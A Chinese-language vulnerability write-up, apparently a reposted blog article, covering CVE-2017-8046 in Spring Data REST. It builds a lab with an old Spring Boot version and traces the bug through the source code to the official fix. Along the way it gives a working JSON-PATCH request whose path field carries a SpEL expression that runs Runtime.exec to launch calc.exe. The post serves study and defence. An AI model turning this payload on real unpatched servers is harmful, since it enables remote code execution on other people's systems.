• Spring漏洞分析(1)-- CVE-2017-8046分析


    简介

    Spring Data REST的目的是消除CURD的模板代码,减少程序员的刻板的重复劳动,但实际上并没有很多人使用。很少有请求直接操作数据库的场景,至少也要做权限校验等操作。而Spring Data REST允许请求直接操作数据库,中间没有任何的业务逻辑

    漏洞的原因是对PATCH方法处理不当,导致攻击者能够利用JSON数据造成RCE。本质还是因为Spring的SPEL解析导致的RCE,大部分Spring框架的RCE都是源于此

    参考:

    https://www.cnblogs.com/demingblog/p/10599134.html

    https://www.cnblogs.com/co10rway/p/9380441.html

    SPEL 测试

    package com.example.accessingdatarest;
    
    import org.springframework.expression.Expression;
    import org.springframework.expression.spel.standard.SpelExpressionParser;
    
    public class SpelTest {
        public static void main(String[] args) {
            //calc 弹出计算器
            String spEL="T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{99,97,108,99}))";
            testSpEL(spEL);
        }
    
        private static void testSpEL(String spEL){
            SpelExpressionParser parser = new SpelExpressionParser();
            Expression exp = parser.parseExpression(spEL);
            exp.getValue();
        }
    }

    环境搭建

    使用Spring官方教程:https://github.com/spring-guides/gs-accessing-data-rest.git
    下载后包含多个模块,使用其中的complete项目,导入IDEA后发现是SpringBoot项目

    官方不可能在教程中采用存在漏洞的代码,所以我们需要手动将pom依赖文件中SpringBoot的版本修改为存在漏洞的版本。SpringBoot是一个父依赖,其中包含spring-data-rest-webmvc这个核心组件

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>1.5.6.RELEASE</version>
    </parent>
    

    启动项目比较简单,直接运行AccessingDataRestApplication类。如果有报错,应该是junit的问题,删除src/test/java下的文件即可解决。访问localhost:8080返回如下

    {
      "_links" : {
        "people" : {
          "href" : "http://localhost:8080/people{?page,size,sort}",
          "templated" : true
        },
        "profile" : {
          "href" : "http://localhost:8080/profile"
        }
      }
    }
    

    漏洞复现

    PATCH

    首先应该讲一下什么是PATCH,准确一点来说是JSON-PATCH。字面意思是补丁,实际意义也是补丁。主要功能是做修补,按照JSON-PATCH官方的定义:

    {
      "baz": "qux",
      "foo": "bar"
    }
    

    发送这样的PATCH请求:

    [
      { "op": "replace", "path": "/baz", "value": "boo" },
      { "op": "add", "path": "/hello", "value": ["world"] },
      { "op": "remove", "path": "/foo" }
    ]
    

    一开始的数据就会变成:

    {
      "baz": "boo",
      "hello": ["world"]
    }
    

    可以这样简单理解:op是一种操作标识,比如增删改查;path是修改的key,value是修改的value

    复现

    使用POST的方式为系统新增一个用户:

    POST /people HTTP/1.1
    Host: localhost:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type:application/json
    Content-Length: 38
    
    {"firstName":"san","lastName":"zhang"}
    

    返回如下:

    HTTP/1.1 201 
    Location: http://localhost:8080/people/1
    Content-Type: application/hal+json;charset=UTF-8
    Date: Thu, 22 Apr 2021 08:05:46 GMT
    Connection: close
    Content-Length: 221
    
    {
      "firstName" : "san",
      "lastName" : "zhang",
      "_links" : {
        "self" : {
          "href" : "http://localhost:8080/people/1"
        },
        "person" : {
          "href" : "http://localhost:8080/people/1"
        }
      }
    }
    

    返回说明创建这个人成功,接下来我们需要使用PATCH请求对这个人的信息做更改

    PATCH /people/1 HTTP/1.1
    Host: localhost:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type:application/json-patch+json
    Content-Length: 57
    
    [{ "op": "replace", "path": "/lastName", "value": "li" }]
    

    成功修改了名字:

    HTTP/1.1 200 
    Content-Type: application/hal+json;charset=UTF-8
    Date: Thu, 22 Apr 2021 08:08:57 GMT
    Connection: close
    Content-Length: 218
    
    {
      "firstName" : "san",
      "lastName" : "li",
      "_links" : {
        "self" : {
          "href" : "http://localhost:8080/people/1"
        },
        "person" : {
          "href" : "http://localhost:8080/people/1"
        }
      }}
    

    漏洞存在于这个PATCH请求的path参数,我们将它修改为恶意代码,造成RCE:

    PATCH /people/1 HTTP/1.1
    Host: localhost:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type:application/json-patch+json
    Content-Length: 169
    
    [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{99, 97, 108, 99, 46, 101, 120, 101}))/lastName", "value": "hacker" }]
    

    漏洞分析

    从处理JSON的地方开始分析:org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply()

    if (request.isJsonPatchRequest()) {
        return applyPatch(request.getBody(), target);
    } else {
        return applyMergePatch(request.getBody(), target);
    }
    

    判断是否是JSON-PATCH请求,如果是那么调用applyPatch方法,并传入请求的body。关于isJsonPatchRequest的内容,判断了请求方法和请求头:

    public boolean isJsonPatchRequest() {
        return isPatchRequest() && RestMediaTypes.JSON_PATCH_JSON.isCompatibleWith(contentType);
    }
    ......
    public boolean isPatchRequest() {
        return request.getMethod().equals(HttpMethod.PATCH);
    }
    

    关于applyPatch,看命名猜测是获得其中所有的op操作

    <T> T applyPatch(InputStream source, T target) throws Exception {
        return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
    }
    
    private Patch getPatchOperations(InputStream source) {
    
        try {
            return new JsonPatchPatchConverter(mapper).convert(mapper.readTree(source));
        } catch (Exception o_O) {
            throw new HttpMessageNotReadableException(
                    String.format("Could not read PATCH operations! Expected %s!", RestMediaTypes.JSON_PATCH_JSON), o_O);
        }
    }
    

    重点关注其中的convert方法,因为传入了请求body的流,也就是包含payload的部分。代码稍复杂,不过可以看出没有对path做多余的判断,直接读取后封装到Patch中返回出去。这里可以下断点具体观察,读入了path中的payload

    public Patch convert(JsonNode jsonNode) {
        ......
        ArrayNode opNodes = (ArrayNode) jsonNode;
        List<PatchOperation> ops = new ArrayList<PatchOperation>(opNodes.size());
        ......
        String path = opNode.get("path").textValue();
        ......
        ops.add(new ReplaceOperation(path, value));
        ......
        return new Patch(ops);
    }
    

    这里初始化Patch的方法传入了一个ops,找到Patch的构造方法,发现ops是PatchOperation的List,找到PatchOperation的构造

    public Patch(List<PatchOperation> operations) {
        this.operations = operations;
    }
    
    public PatchOperation(String op, String path, Object value) {
    
        this.op = op;
        this.path = path;
        this.value = value;
        this.spelExpression = pathToExpression(path);
    }
    

    发现一处有趣的地方:spel。Spring表达式,也是大部分SpringRCE的本质原因

    public static Expression pathToExpression(String path) {
        return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path));
    }
    
    	private static String pathToSpEL(String path) {
    		return pathNodesToSpEL(path.split("\/"));
    	}
    

    发现这里对path分割后,pathNodesToSpEL方法做了简单的字符串重组,组成spel表达式字符串,没有做任何的校验。这里一层一层地传上去,到了convert方法的ops.add方法。PatchOperation类是一个抽象类,需要有具体的类继承,由于我们传入的op是replace,所以继承的类是ReplaceOperation

    回到最上面apply方法

    	<T> T applyPatch(InputStream source, T target) throws Exception {
    		return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
    	}
    
    public <T> T apply(T in, Class<T> type) throws PatchException {
        for (PatchOperation operation : operations) {
            operation.perform(in, type);
        }
        return in;
    }
    

    这里传入的PatchOperation其实是子类ReplaceOperation,看下它的perform方法

    @Override
    <T> void perform(Object target, Class<T> type) {
        setValueOnTarget(target, evaluateValueFromTarget(target, type));
    }
    
    protected void setValueOnTarget(Object target, Object value) {
        spelExpression.setValue(target, value);
    }
    

    到这里就可以结束了,payload成功传入spel的setValue方法,造成RCE

    修复

    官方修复方案:https://github.com/spring-projects/spring-data-rest/commit/8f269e28fe8038a6c60f31a1c36cfda04795ab45

    String pathSource = Arrays.stream(path.split("/"))//
            .filter(it -> !it.matches("\d")) // no digits
            .filter(it -> !it.equals("-")) // no "last element"s
            .filter(it -> !it.isEmpty()) //
            .collect(Collectors.joining("."));
    

    解决代码如上,比如it.matches("d")这一步,不允许存在数字,导致上面的payload失效

    转自:https://xushao.ltd/post/cve-2017-8046-fen-xi/

  • 相关阅读:
    doubango(5)--SIP协议栈传输层的启动
    doubango(6)--Doubango协议栈中对RTP的管理
    doubango(4)--SIP协议栈传输层的启动
    doubango(3)--协议栈的启动过程
    【Redis发布订阅】
    【Redis哨兵集群】
    【搭建Saltstack运维工具】
    【Docker构建私有仓库】
    【Docker端口映射】
    【Docker自定制镜像之Dockerfile】
  • 原文地址:https://www.cnblogs.com/trevain/p/15232017.html
Copyright © 2020-2023  润新知